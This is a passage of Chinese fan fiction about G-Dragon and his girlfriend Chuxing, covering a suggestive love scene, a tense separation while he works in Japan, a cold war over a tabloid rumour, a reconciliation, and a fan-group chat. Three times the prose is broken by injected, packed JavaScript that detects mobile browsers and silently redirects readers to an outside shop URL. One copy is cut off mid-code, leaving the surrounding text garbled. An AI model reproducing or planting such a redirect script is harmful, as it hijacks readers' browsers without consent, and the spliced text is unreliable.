两人依偎在一起,这是他们第一次一起观看《泰坦尼克号》。画面进行到Jack为Rose画下那幅经典的、带着情欲与纯真交织的素描片段时,至龙不自然地轻咳了一声,初星看他微红的耳根好笑极了。 电影过半,初星被歌词本吸引。她好奇地拿起来翻开,前面几页是一些零散的旋律,夹杂着日常的随感和灵感碎片,字迹潦草不羁。她一页页翻看着,看到一些深情款款、旋律优美的情歌歌词,嘴角不自觉地上扬,心里泛起丝丝甜意。 但她翻到后面较新的几页后,笑容僵在脸上。两首刚完成不久、墨迹都还未干透的歌词赫然映入眼帘 —— 一首标题潦草地写着《I Love It》,歌词直白而露骨,充满了**的暗示和感官吸引的字句,描绘着夜晚的邂逅与渴望。 另一首 《Breathe》更是让人脸红心跳,字里行间充满了急促的喘息和私密触碰的想象。 初星的脸一下红透了,她像是被烙铁烫到一样,猛地把它摔在至龙身上:“呀!权至龙!你….你脑子里一天到晚都在想些什么乱七八糟的东西!” 至龙被这突来的‘袭击’砸得一愣,茫然地接住滑落的笔记本。他低头看了一眼摊开的那页,瞬间明白过来。他的脸颊也迅速泛红,眼神开始飘忽,不敢直视她,但看着她羞恼得跳脚的可爱模样,心底那点不好意思也变成了促狭的笑意。他收紧手臂,将她更牢固地圈在自己怀里,下巴轻蹭着她的发顶,声音低沉而认真:“都是你啊。” 他捧起她的脸,拇指抚摸着她细腻的皮肤,带着艺术家的狂热和虔诚:“娜比,你知道吗?你是我的缪斯,是我的维纳斯。你的一切,一颦一笑,害羞的样子,撒娇的样子,生气的样子,甚至…”他故意拖长了语调,感觉到怀里的人的颤动,低笑一声,继续说了下去,声音更哑了几分,“甚至动情的样子……所有所有,都能点燃我。” 他的额头抵上她的,呼吸交融,眼神深邃得像夜海,“特别是……我们最亲密的时候,那种极致的快乐和满足……真的让我感觉有写不完的歌,谱不完的曲…….这怎么会是乱七八糟?明明是我最棒的灵感源泉。” 初星被他眼中毫不掩饰的痴迷和真诚震住了,羞恼渐渐被一种难以言喻的、混合着悸动、被需要感和一丝隐秘骄傲取代。她躲闪着目光,小声说着:“哪……哪有这样的……歪理……” “就是有。”至龙笃定地说,笑着吻了吻她依|日发烫的脸颊和唇角,“所以,为了我下一张专辑的质量,我的缪斯女神是不是应该.…多给我点灵感?” 初星被他这套歪理说得哭笑不得,心里却因为他如此直白而郑重地将自己的创作激情与自己紧密相连,而泛起层层叠叠的甜涩。她故意板起脸,戳了戳他的胸口:“你……你下次写这种歌词,不许给我看!” “内~遵命,我的女神。”至龙从善如流地答应,笑得像只偷腥的猫,又凑近她耳边补充了一句,“我只负责写和唱.…...实践体验部分,还是我们一起比较好,对不对? “呀!”初星刚褪下红晕的脸又烧了起来,一把推开他凑得过近的脸,“专心看电视啦!冰山要撞上了!” 至龙笑着,重新搂紧她,目光投向屏幕,但思绪似乎飘远了。沉默了片刻,他声音低沉了些许,带着不舍:“娜比啊,公司那边计划差不多定了,下个月就开始侧重日本市场了。到时候会很忙,来回飞,待在国内的时间就少了。” 初星依偎在他怀里的身体几不可察地停滞了一会,放松的手指也蜷缩了一下。 “你要记得每天给我发信息,知道吗?视频、照片、语音,什么都行,让我知道你每天都在干什么,吃了什么,开不开心。我看到了,就会尽快回复你。”他亲了亲她的发丝,“不然……我会想你想得没法专心工作的。” “知道了。”初星应了一声,脸埋在他胸口,看不清表情。心里却掠过一丝烦躁和抵触—每天报备?听起来好麻烦,像被无形的手管着一样,一点空间都没有了。但她没有说出来,毕竟说出来也没用。她只是把脸更深地埋进他怀里掩饰着。 屏幕上播放着Rose带着Jack跑到蒸汽房,两人在车内亲密的镜头。镜头巧妙地扫过Jack部分裸露的后背和紧实的肩颈线条。 初星立刻被吸引了,那点小情绪早被抛到了九霄云外。她看着小李子俊美得炫目的脸,以及充满少年感与男性力量的身体,按耐不住地夸赞,“哇哦??这张脸是……上帝杰作啊……还有背部和胸膛的线条……要是镜头再往下一点点,能更完整地欣赏身材就好了......” 然而,她赞叹的话音刚落,就感受到搂抱着她的手臂骤然又收紧了几分,力道大得有些难受。 至龙明亮的眼睛耷拉下来,睫毛垂着,可怜巴巴地瞅着她,委屈得能拧出水来:“娜比......不准看別的男人.....只准看我.....” 初星被他逗笑了,存心逗弄他:"可是人家身材很好诶……" 至龙的眼神里掠过一丝危险,但语气还是软绵绵的,像在撒娇,又像在控诉:“我的身材不好看吗?嗯?”他一边说着,一边不安分地贴上腰侧摩挲着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864463|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>初星过电般绷紧,“呀!权至龙!你……手……” “嗯?”他无辜地眨眨眼,坏心眼地在腰窝处画着圈,下一秒,他把她抱到身上,贴着唇瓣,变化着。“它很想你……” “等、等一下!我还没洗一一唔!” 抗议的话语被封缄在他不容拒绝的吻里。 “真的好想你……让我爱你,好不好?” 她刚站起来,又被按回去。 指甲陷进他肩头的肌肉里。 至龙抵着她的额头,吻去她眼角的泪水,“对不起娜比……我太急了……” 刚松一口气,他就托着她,舌尖坏心眼地往耳蜗里探,“可是真的太爱你了……” "骗子……坏……” "嗯,我坏……可是娜比明明也很想我……" 电视还兀自播放着,悲伤的音乐和男女主的诀别成了最不合时宜的背景音,但谁也没在意。 结束后,初星被至龙抱回到卧室,酸软得厉害,蜷在至龙怀里。眼皮沉重得直打架,几乎下一秒就要沉入梦乡。 至龙的掌心有一下没一下地轻抚着她光滑的脊背,指尖流连忘返。他低下头,唇瓣顺着脸颊一路轻柔地向上,最终,带着无限眷恋地,落在左眉下那粒微小的星星上。初星则是无意识地仰起脸,迎合那细微的痒意,像只被抚慰的猫,发出模糊而满足的轻哼。 “娜比呀,”他轻声唤她,“等我去了日本,要记得,每天都要好好吃饭,不许偷懒用泡面或者零食凑合,知道吗?要按时睡觉,不准熬夜画图,对眼睛和皮肤都不好。” 初星困得厉害,只含糊地应了一声。下意识地在他热烘烘的怀里又钻了钻。 “要是太累,压力大了,就别自己硬扛着,”他的手指穿梭在她发间,“叫上珍雅,出去逛逛街,喝喝咖啡,或者去做个SPA,放松一下。想买什么就买,不用看价格。我会努力赚钱的,你开心最重要。” 这些话柔地像羽毛,轻轻搔刮着初星的听觉神经,却也让半梦半醒的她心里那点关于“需要随时报备”的小小叛逆和烦躁又悄悄冒头——听起来是无微不至的关怀和宠爱,却也好似一张温柔而无形的网。 最后,至龙收紧了手臂,将她更深地嵌入自己怀中,语气变得格外认真,甚至带上了一丝霸道的占有欲:“最重要的一点是要每天给我发信息,我会想你的,很想很想。” 他停顿了一下,声音更沉了,带着绝对的宣示:“不准跟别的男人闲聊,不准看别的男人,也不准再盯着屏幕里的什么‘完美身材’看,一眼都不行,知道吗?我的娜比,眼里只能有我。” 初星困得不行,只觉得他像只扰人清梦的大蜜蜂,嗡嗡嗡地在耳边说个不停:“知道啦……好啰嗦……权至龙你好烦……”声音越来越小,直到被睡意彻底吞没。 至龙看着怀里的人儿呼吸很快变得均匀绵长,显然已经沉沉睡去,对自己一番情真意切的叮嘱几乎是左耳进右耳出。他无奈又宠溺地笑了笑,更紧地拥住她,把脸埋进她散发着馨香的颈窝,带着爱怜和惆怅的叹息:“小没良心的……我是真的会很想很想你的啊。” 65.第 65 章 至龙前往日本发展的最初几天,初星的生活确实像被抽走了一根熟悉的支柱,显得有些空落和不习惯。夜晚回到公寓,少了那个会从背后拥住她、下巴蹭着她发顶的温暖怀抱;清晨醒来,也听不到厨房里传来他笨拙准备早餐的响动。空气里,属于他的气息,也随着时间淡去。 但很快,一种前所未有的自由感,如同春日解冻的溪流,悄无声息地浸润她的生活。 至龙日日雷打不动的信息仍然如期而至,带着跨越海洋的牵挂:「Dear~醒了吗?首尔今天热吗?记得涂好防晒。」、「午餐吃的什么?拍给我看看,不许凑合。」、「下班了没?累不累?肩膀酸不酸?」、「娜比呀,记得想我。」。 初星通常会简单地回复。随手拍的咖啡早餐,在墙角开得倔强的野花,或是一个可爱的兔子点头表情包。她很少主动分享细节,也渐渐不再时刻惦记着手机震动。她的注意力,逐渐从那个遥远的信号源,收回到自己触手可及的现实世界。 她开始全身心地“遨游”在属于自己的海域里。 在设计公司,她是凭借导师的推荐信和自己的作品集,堂堂正正通过面试的实习生裴初星。她和小组成员为了一个弧形拐角的设计是采用5度还是7度争得面红耳赤,又因为共同攻克了材料渲染的技术难题击掌欢呼。午餐时和同事们挤在熙熙攘攘的员工餐厅,耳边充斥的不是绯闻八卦,而是材料、结构、光影作用。当她关于将传统韩屋元素融入现代商业空间的大胆构想被采纳时,获得的成就感纯粹而炙热,只源于她的专业能力和创造性思维本身,这种认可,让她觉得自己是真实而有力地存在着。 下班后的时光更是由自己主宰。初星和珍雅两个女孩像不知疲倦的城市探险家,凭借一本小众指南,穿梭在首尔的大街小巷。从仁寺洞沉淀着时光痕迹的古董店,到圣水洞充斥着工业风与先锋气息的艺术画廊,她们能在不起眼的旧货市场为淘到一枚造型奇特的黄铜镇纸而雀跃,在美术馆里对着色彩癫狂的抽象画作私语,交换着只有彼此才懂的灵感火花。有时,她也会和谈得来的同事们去小酌一杯,吐槽难缠的客户,也聊聊彼此的生活和梦想。 她过得忙碌、充实,眼角眉梢都焕发着由内而外的光彩。她享受着这种凭借自身才华和努力赢得尊重与认可的感觉,享受着和朋友们肆无忌惮大笑的轻松,更享受着完全掌控自己时间与空间的自主权。 至龙和他的信息,像是遥远而温暖的背景音,她知道那份牵挂始终存在,心安理得地接收着,但那似乎已经变成了她丰富多彩的生活中稳定却不再处于焦点位置的部分。 她很少会特意去想他。只有极偶尔的瞬间,比如深夜加班结束后,独自走在寂静的街道上,听到不知何处传来的、他们的旧歌曲时,心里会掠过些许涟漪,又很快消散在夜风里,被第二天需要提交的设计方案取代。 她完美地践行了至龙临行前‘不要硬撑、多出去玩玩’的叮嘱,却无形中忽略了他那句"每天都要发信息、不准看别人"的要求。她过得这样好,几乎有点没心没肺。 东京,某高强度的节目录制间隙,Bigbang成员们挤在一起,利用这宝贵的十几分钟短暂休息,补充水分和能量。 至龙第N次拿起手机,界面仍旧安静。只有几小时前他发去的「今天排练强度超大,腿都快不是自己的了TT 娜比在干嘛?」孤零零地躺在对话框的最下方,像投入深海的石子,没有得到回复。他之前分享的几张关于东京塔夜景、偶遇的可爱猫咪、以及日式料理的照片,初星也只回了个“看起来不错”或“好看”的表情包。 他瘪嘴,把手机屏幕按亮又按灭,反反复复,失望地眨巴着一双狗狗眼。 “哥,又在等怒那的信息?”嘴里叼着半根能量棒的胜利凑过来,含糊不清地点破,“怒那最近好像回复得是有点……呃……矜持哦?” 正做着腿部拉伸的永裴帮忙解释:“初星现在不是在公司实习吗?设计师助理很忙吧?听说经常要熬夜赶稿,我看珍雅也是。” “何止是忙?”刷着SNS的大声插话,把手机屏幕转向至龙,“哥你看,初星在社交平台上的更新可比回你信息勤快多了,生活丰富多彩得很呐!” 至龙拿过来看。果然,初星的账号上最近分享了不少动态:一张堆满色卡和布料样本的工作台照片,配文“配色战争”;她和几个年轻的同事围在电脑前热烈讨论的抓拍;深夜办公室的灯光下,一杯咖啡和完成了一半的设计图;和珍雅在某个艺术市集的合影,两人手里都拿着造型古怪的手工艺品,笑得阳光灿烂…… “看吧,初星看起来已经沉浸创作的快乐和同事友谊里了。估计是太忙了,没空看手机。”大声点了点了点和同事的合照,故意拖长了语调。 TOP看热闹不嫌事大地补刀:“而且看起来……没有某人在身边,过的更开心了。” 至龙:“……” 胜利拍拍至龙肩膀,一副经验老道的样子:“安啦哥!怒那这是事业上升期,忙着自我实现呢!这是好事!总比天天闲着胡思乱想、查你岗吧?” 道理至龙都懂。他当然为她感到骄傲,为她在自己热爱的领域里发光发热而由衷高兴。他知道她的忙碌是正事,可是……看着照片里初星那双因热爱而发亮的眼睛,看着她身边那些他完全陌生、却能分享她工作点滴、见证她灵感迸发瞬间的新朋友,尤其是合照中那个笑容爽朗的男同事,心里还是忍不住冒起酸溜溜的小泡泡,咕嘟咕嘟地发酵着。 那个曾经会因为他晚回家会窝在他怀里抱怨“你为什么这么晚回来”的小女孩,好像正在以一种让他既倍感欣慰又隐隐失落的速度,飞向他无法即时触及的、更广阔的天空。 而那片天地里,暂时似乎……并没有太多可供他停靠的位置。 他再次拿起手机,手指在屏幕上悬停了一会儿,最终还是没有再发信息过去,只是把手机塞回了裤袋。或许,他真的不应该去打扰她专注于自我成长的时光?可是,这种被无形中“放养”、感觉自己的存在逐渐淡化的滋味,对于早已习惯了被她依赖的至龙来说,着实有些陌生,且……不太好受。 他就像被搁浅的小鱼,挣扎着,反抗着,不能重归大海也无法靠岸,直到意识模糊,窒息的痛感愈发清晰,逐渐失去了生机。 深夜酒店房间,至龙刚结束一天的高强度工作,身体疲惫,但精神因焦灼的思念非常清醒。 这种思念,在他刷到初星最新发布的动态后,达到了顶峰。那是她们公司庆功宴的合照。照片里,她笑的那样开心,被一群朝气蓬勃的年轻人围着,而他之前就留意过的男同事的手就看似随意地搭在她身后的椅背上。 强烈的不安,混合着被距离隔开的无力感和尖锐的渴望,像藤蔓般紧紧攫住了他的心。他需要听到她的声音,立刻,马上。 他拨通了初星的电话。漫长的等待音后,等待他的不是她熟悉的声音,而是冰冷的系统提示音:“您拨打的用户暂时无法接通……” 至龙的心一沉。他不死心,又连续拨了好几次,结果无一例外,全是令人沮丧的忙音。 各种猜测开始不受控制地在他疲惫过度的大脑里翻腾。是手机没电了?是在信号不好的地方?还是……出了什么意外?或者,是某种他更不愿去深想的可能性?担忧和被隔绝在外的恐慌感迅速放大。他几乎一夜没睡好,隔一会儿就拿起手机查看,生怕错过她的回复或来电。 隔天一天,他的情绪都很低落。排练时走神,动作慢半拍;接受采访时,标志性的甜笑也有些勉强。期间,他又尝试着拨了几次电话,还是无法接通,发出去的信息也石沉大海。 直到晚上,在他快按捺不住,准备联系珍雅或者想办法联系初星公司询问情况的时候,他的手机终于响了起来,屏幕上清晰地跳动着“my babe”。 至龙几乎是秒接,带着压抑了许久的委屈、焦虑和思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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为什么自己熬着夜,忍着思念,等来的不是温言软语,而是不耐烦的斥责和冰冷的挂断? 失落和难堪笼罩了他。他沉默地放下手机,再也没有拨回去。 电话那头的初星看着暗下去的屏幕,用力地抓了抓头发。话一出口她就后悔了,她知道至龙只是太想她,自己反应过激了。她了解他,那样被挂断电话,他一定伤心了。 她想打回去,想说声“对不起”,想说“我也想你”。但手指悬在拨号键上,那份因为工作忙碌所积攒的焦躁、那份享受自由后不愿被约束的倔强,还有那点可笑的面子,让她最终没能按下去。 “算了,”她赌气似的把手机扔回包里,“等我们都冷静一下再说。” 至龙那边也彻底沉默了。他没有再像往常一样发来求和的信息,没有追问,没有抱怨。他的社交账号会更新着动态,但那个专属的、每天都会出现的问候,再也没有发来过。 初星起初还不以为意,享受着“清静”。但一天,两天,三天……手机那头始终安静得可怕。她终于忍不住,点开了和至龙的聊天界面,指尖在屏幕上敲敲打打,想要解释那天的烦躁,想要道歉,想告诉他其实自己也很想他。 她删删改改,好不容易组织好语言,正准备发送时,手机突然弹出一条新闻推送——「独家爆料!G-Dragon 与日本模特深夜同返酒店?疑似新恋情曝光!」 配图是几张略显模糊但能辨认出至龙侧脸的照片,他正和一个身材高挑、容貌姣好的女生并肩走进酒店,两人虽然没有亲密动作,但距离很近,姿态看起来颇为熟稔。 初星的手指立刻僵住了。 刚才的愧疚、想念和想要道歉的冲动,被盆冰水兜头浇灭。 原来他所谓的“想她”、“委屈”,转头就可以和别人传出绯闻?原来他忙到没时间等她的电话,却有时间和模特深夜同入酒店? 她删掉了对话框里所有打好的字,甚至觉得自己像个傻瓜。 她关掉了和至龙的聊天窗口,顺手也划掉了那条刺眼的新闻推送,仿佛这样就能当作什么都没看见。但心里那根刺,却实实在在地扎了进去。 既然他可以选择沉默和绯闻,那她又何必急着去解释和道歉? 她把手机扔到一边,强迫自己把注意力重新投入到工作中,但工作效率却异常低下,眼神总是不自觉地飘向安静的手机,心里乱成一团。 66.第 66 章 冷战持续了整整一个多月。初星把自己彻底埋进了高强度的工作里,试图用无尽的忙碌麻痹所有感官,让疲惫占据思维的每一个角落。然而,心底却总是空落落的,时不时泛起一阵沉闷而持久的钝痛,提醒着她这段悬而未决的关系。 下班后,她和珍雅坐在咖啡馆内聊天。珍雅用小勺搅动着杯中的拿铁,抬眼看了看初星的脸色,装作不经意地提起:“那个……我听永裴欧巴说他们日本那边的行程暂时告一段落,已经……回韩国了。”她顿了顿,观察着初星的反应,才继续道,“至龙欧巴好像……马上就要发布他的第一张solo专辑了。” 初星端着咖啡杯的手一僵,温热的液体险些晃出杯沿。 回来了? 他已经回到了国内?甚至马上就要以光鲜亮丽的姿态,开启他事业的新篇章? 可是她的手机安静得像死了一样,没有一条信息,一个电话。他甚至连通知她一声‘我回来了’都觉得多余了吗? 这算什么意思?默认分手?连一句正式的通知、一次开诚布公的交谈都吝啬给予?她之前还在为那次口不择言的伤害和冲动挂断的电话,愧疚得辗转反侧,甚至会冒出要不要主动低头的念头……结果呢?人家根本早就翻篇了,正全身心投入事业的新高峰,身边说不定还伴着那位绯闻模特,风光无限呢! 哐当一声脆响。初星把咖啡杯顿在碟子上,力度之大,杯碟都发出了抗议的碰撞声。她强压下鼻尖的酸涩,对珍雅硬邦邦地说:“哦,是吗?他的事,跟我没关系了。” 随后霍然起身,抓起包,头也不回地离开咖啡馆,将一脸担忧的珍雅和那杯只喝了一口的咖啡留在了身后。 回家的路上,初星的心像泡在冰水里,又冷又沉。她越想越气,越想越委屈。这么久的感情,她以为至少会有一个结果,哪怕是激烈的争吵、痛快的撕扯,也好过这样不明不白的沉默。可他呢?直接当她不存在了是吧? 她用力推开门,包狠狠摔在地上,踢掉高跟鞋,赤着脚踩在地板上,来回踱步,脑子里乱糟糟的。怒火灼烧着她的理智,连呼吸都带着滚烫的火星。她甚至想立刻打电话过去质问他,但残存的骄傲又阻止了她。凭什么他都不联系她,她还要先低头? 就在这种极度的烦躁、伤心和愤怒达到顶峰时,她的目光无意间扫过客厅角落。 那里,似乎有什么东西不一样了。 她疑惑地走近,角落里原本空着的柜子上,不知何时,用她最喜欢的香薰蜡烛围成了一个心形。蜡烛中间,放着一个精致的礼盒,上面贴着熟悉的便利贴。 初星的呼吸急促起来,迟疑地拿起那张便利贴。上面是至龙的字迹,只是这一次,字里行间透着小心翼翼和恳求: 「娜比,我回来了。对不起。新专辑宣传期会很忙,但我会尽量每天回来看看你,哪怕只能待几分钟。如果……如果你还愿意见我的话。 ——至龙」 礼盒里,静静躺着他个人专辑的试听样碟,封面上是他闭眼流泪的立体肖像。样碟旁边,还有一条细细的、镶嵌着细小钻石的项链,吊坠是极小的‘GS’字母紧密地交织缠绕。 初星拿着便利贴和项链,站在原地,心脏像是坐了一场过山车,从冰冷的谷底猛地抛向令人眩晕的高空,却又因为剧烈的转折和惯性而疯狂摇晃着,无法立刻找到安稳的落点。 突然,玄关处传来轻微的钥匙转动声。初星回过头,有些期待有些不安。 门被轻轻推开,至龙的身影出现在门口。他看起来风尘仆仆,脸上带着未卸的舞台妆,眼妆有些晕开,更添了几分憔悴。眉眼间是掩不住的疲惫和……紧张。他手里还提着一个纸袋,印有她最喜欢的那家甜品店Logo。 至龙看到站在客厅中央、手里攥着便利贴和项链、眼眶还有些泛红的初星时,脚步瞬间停止,眼里闪过一丝慌乱和无措,像个做错了事被当场抓包的孩子。 两人就这样对视着,空气凝固,只剩下彼此有些紊乱的呼吸声。最终还是至龙先动了,他关上门,动作轻得几乎听不见声音,然后才转向她,喉结滚动了一下,声音干涩而小心,“看到……礼物了?” 初星看着他明显清瘦了的脸颊和眼下浓重的青黑,心里那点委屈和怒火平息了大半。但长久以来的骄傲和被冷落的不甘,让她下意识地扬起了下巴,带着她惯有的、色厉内荏的蛮横:“看到了,所以呢?回来也不提前说一声,放个东西就算道歉了?” 她像是想起某件重要的事,眼神倏地变得锐利起来,声音也冷了下去:“还有,那个日本模特是怎么回事?新闻推送我都看到了。说说吧,权至龙先生。” 至龙的心一下子又提到了嗓子眼,急忙上前几步,拉近两人的距离:“那个是假的!完全是炒作!她就是合作品牌方邀请的一个模特,我们参加了同一个酒会,住的酒店是同一家,但绝对没有任何私下接触!连话都没多说几句!照片完全是借位和角度问题,故意误导人的!” 生怕她不信,他又急忙补充,“我已经让公司发了澄清声明,也警告过对方团队了。娜比,你相信我,我心里只有你一个人,怎么可能看得上别人?那些庸脂俗粉,连你一根头发丝都比不上!” 初星听着他急切的解释,眼神稍微缓和了一些,但还是板着脸:“谁知道呢?反正我看人家身材好得很,脸蛋也不错,还是日本名模,名气大着呢。” 至龙立马表忠心,语气夸张却透着无比的认真和笃定:“她哪有我们娜比万分之一好看?我们娜比是才华横溢的设计师,是有思想有灵魂的艺术家!那种空有皮囊的怎么能比?一个天上一个地下!”他小心地伸出手,勾住她的小拇指,握在掌心,“我错了,我跟你保证,以后不管什么场合,我都让永裴或者胜利去沟通,我绝对不单独接触,好不好?你随时可以查岗!” 初星被逗得有点想笑,但强行绷住了嘴角,继续发挥她一贯的“裴氏道理”,甩开他勾着自己的手,食指戳了戳他的胸口:“哼,这次……就算了。但是!”她加重了语气,抬起眼直视他,“你要给我记住!就算上次是我错了,那又怎么样?谁还没有个心情不好说话冲的时候?你以后记住了!不管是不是我的错,你都要哄我!不准冷战!不准不接电话!更不准玩消失!听到没有?再有下次,我就真的……” “没有下次!绝对不会有下次了!”至龙赶紧抓住她戳在自己胸口的手,把她拉进怀里紧紧抱住,下巴眷恋地蹭着她的发顶,声音里满是心甘情愿的宠溺,“听到啦听到啦~都记住了,刻在心里了。以后不管发生什么,不管谁对谁错,肯定都是我的错,我全盘接受。我一定哄,第一时间哄,想尽办法哄,哄到我们娜比开心为止。绯闻什么的也绝对第一时间处理干净,绝不让你听到一点风声、产生一丝误会,不让你有一点不开心,好不好?” 感受到他温暖的怀抱,听到他毫无底线的纵容承诺,以及关于绯闻与她所知信息吻合的解释,初星心里最后那点残留的芥蒂和不安,终于消失了。她安心地靠在他的怀里,嘴上却还不饶人,小声地嘟囔着:“勉强原谅你了。对了,你买的甜品……是什么味的?” 至龙松了口气,知道警报已经解除。他找到她的唇,一触即分:“你最喜欢的抹茶红豆慕斯,加了双倍红豆。”他的目光落在她的唇上,眼神暗了暗,“不过,现在好像有更想‘吃’的……” 初星红着脸捶了他一下,却并没有躲开他的激吻。 一吻结束,至龙低笑着,额头抵着她的,呼吸交融,声音还带着亲吻后的微哑:“甜品等会儿再吃,先让我好好看看你。” 他的目光细细描摹着她,仿佛要将这段时间的分离和思念都补偿回来,眼神里的眷恋和爱意都溢出来。“瘦了,”他心疼地摸了摸她的脸颊,“是不是又没好好吃饭?工作再忙也要按时吃饭,不然胃又要不舒服了。” 初星享受着他久违的关切,嘴上却习惯性地哼了一声,“没人管,没人提醒,当然想不起来吃。” “我的错我的错,”至龙从善如流地认错,拿出手机,“以后到点我就给你发信息提醒,要不……我给你找个做饭阿姨?或者我每天让人给你送餐到公司?” “不要,”初星想也没想就拒绝了,“那样公司里的同事和上司怎么想?我才不要搞特殊化,好像我很娇气似的。”她习惯性地维持着自己在职场独立的形象,虽然心里因为他的提议而泛甜。 “好,娜比想怎么样都行,”至龙放下手机,重新抱住她,满足地叹了口气,“只要你健健康康的,开开心心的就好。家虎呢?送去美容了?还是珍雅带出去玩了?” “下午送它去宠物店洗澡护理了,估计快送回来了。”初星把玩着他衬衫的扣子,状似随意地问,“你……这次回来,能待多久?” 至龙吻了吻她眉下的星星,柔声解释,“宣传期主要行程都在国内,会比在日本的时候好很多,虽然还是会很忙,但至少能经常回这个家。就算回来得再晚,也能看到你睡着的脸。娜比,我不会再让你一个人……等那么久了。” 初星抬起头,看着他,终于露出了今天的第一个真心笑容。虽然很浅,却让至龙的心瞬间亮了。 “饿不饿?”至龙蹭蹭她的鼻尖,“要不要先尝尝甜品?还是……我先去给你煮点吃的?冰箱里还有食材吗?” “有点饿,”初星老实点头,“没什么胃口吃甜的。想吃面,还要溏心蛋。” “好,遵命,女王陛下。”至龙笑着又在她唇上轻啄了一下,才依依不舍地松开她,脱下外套,挽起袖子走向厨房,“陛下稍等,小的这就去准备御膳。” 初星跟着走到厨房门口,懒洋洋地倚着门框,看着至龙在厨房里熟练地打开冰箱寻找食材,烧水,打蛋的背影。耳边是熟悉的、令人安心的细微响动——水流声、切葱花的哒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882071|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哒声、锅具轻微的碰撞声。心里那种被巨大的安心感和暖意填满的感觉,几乎让她想要喟叹。争吵、冷战、分离……似乎都成了让彼此更加清楚心意的插曲。 她看着至龙专注地盯着锅里水泡的侧脸,轻声唤道:“至龙。” “嗯?”至龙回头。 “下次……就算我再忙,再累,心情再不好……我也会尽量接你的电话。如果当时实在不方便,之后也一定会回给你。”这几乎是她能做出的最大程度的让步和道歉了。 至龙愣了一下,随即放下手里的东西,走过来用力抱了她一下,“嗯!娜比说好了!” 面很快煮好,两人就挤在厨房的小餐桌上,头碰头地分着吃一碗面。家虎也被送回来,兴奋地“汪汪”叫着,摇着尾巴,熟稔地扑向久未见到的男主人,围着他的腿亲热地蹭来蹭去。 房间里充满了食物的香气、小狗欢快的哼唧声和两人带着笑意的交谈。窗外,首尔的夜色渐深,但这个小小的家,在经过一段时间的冰冷和沉寂后,恢复了它应有的温度和生机。 —— 【Bigbang·绝密·真爱无敌·守护欧巴一辈子】 太阳God:[分享一张高糊但能清晰辨认出是至龙戴着口罩侧脸的照片.jpg] 姐妹们!!!速来吃瓜!刚发来的热乎图!龙哥结束公司会议后,车没直接回宿舍,拐去明洞了!就是那家死贵死难排队、之前被他带火的那家网红甜品店! 莉莉的梦女:是不是之前有粉丝偶遇过,说他每次去都精准点单抹茶红豆口味的那家?!我记得那个口味超级小众,甜中带苦,就他家做得最正宗!给那位买的? 龙的小宝贝:破案了破案了!绝对是啊!G的来衮自己又不爱吃甜品,跑去排长队买自己不爱吃的东西干嘛?!肯定是买给不能说的S小姐的! 装作若无其事:不是分手了吗?跟日本行程的时候,龙队之前只要一有空就抱着手机,也不知道在跟那位聊什么腻乎东西。这一个月来,你们谁看到龙队频繁看手机了?他休息的时候要么闭目养神,要么就是发呆,表情淡淡的,手机根本不离手的人经常不知道扔哪个角落! 棉花糖:据我观察,没分,应该是冷战吵架! VIP since 2006:啧啧啧,那这特么绝对是去赔罪求和实锤了!刚回国就屁颠屁颠去哄人了啊!龙哥你这地位……堪忧啊![笑哭] 危险的姜:不是和那个模特吗?怎么又和好了? 看我吧贵顺:呕,日本那个一看就是蹭热度的,风评差得要死,以前的黑料一抓一把,根本比不上……呃,虽然那个也一般,但至少看起来安分点。 VIP最棒:我就说分不了吧!!!回来第一件事就是巴巴地去买人家最喜欢的甜品负荆请罪!权至龙你也有今天!被拿捏得死死的! 龙的小宝贝:酸了酸了,虽然一万个看不上她,但不得不说……这点上有点羡慕是怎么回事?欧巴什么时候能这样对我啊TT(我在做什么青天白日梦) 权心权意爱欧巴:kiko和s都滚远点!龙眼光不行,这两种垃圾都收! la-la-la:虽然不喜欢这个,但要是真分了,龙哥找kiko这种的,我更膈应!那女的一看就心术不正,想借大棒上位想疯了! 莉莉的梦女:所以果然是蹭热度的吧?权Leader这边明显忙着哄正宫娘娘呢,哪有空搭理野路子模特?还是说凭她嘴大? 太阳God:权萌萌收敛点啊!!!每次都要我们这群老母亲粉帮你打掩护![吐血] 要不是我们嘴严心累帮你兜着,你恋情早被狗仔锤爆八百回了!下次能不能别这么明目张胆去她定点甜品店!换个隐蔽点的地方买不行吗![怒其不争] 龙的小宝贝:算了算了,习惯就好。希望那位作精大小姐看在这份心意上,对我们龙哥好点吧,别再吵架了,看孩子最近瘦的,包子脸都没了……心疼。 阿拉伯王子塔:唉,说真的,虽然希望欧巴幸福……但也会阴暗地想,他们到底什么时候能分手啊?[跪了] 这女的到底哪儿配得上我们欧巴? 可爱的莉莉:同……每次看欧巴这么卑微地去哄,我就心梗。凭什么啊?他可是权至龙诶!天神下凡一样的人物!什么时候受过这种委屈?赶紧分手吧求求了! 装作若无其事:龙哥自己喜欢,爱得深沉,我们能怎么办?只能希望这位作归作,别真的伤害到龙哥的心吧。 权心权意爱欧巴:反正我就等着!我就不信了能谈到结婚去! 太阳的小月亮:感觉某龙陷得太深了,一时半会儿分不了。我们就……默默守着吧。等哪天真的分手了,我可能会偷偷放串鞭炮庆祝一下。[顶锅盖跑] 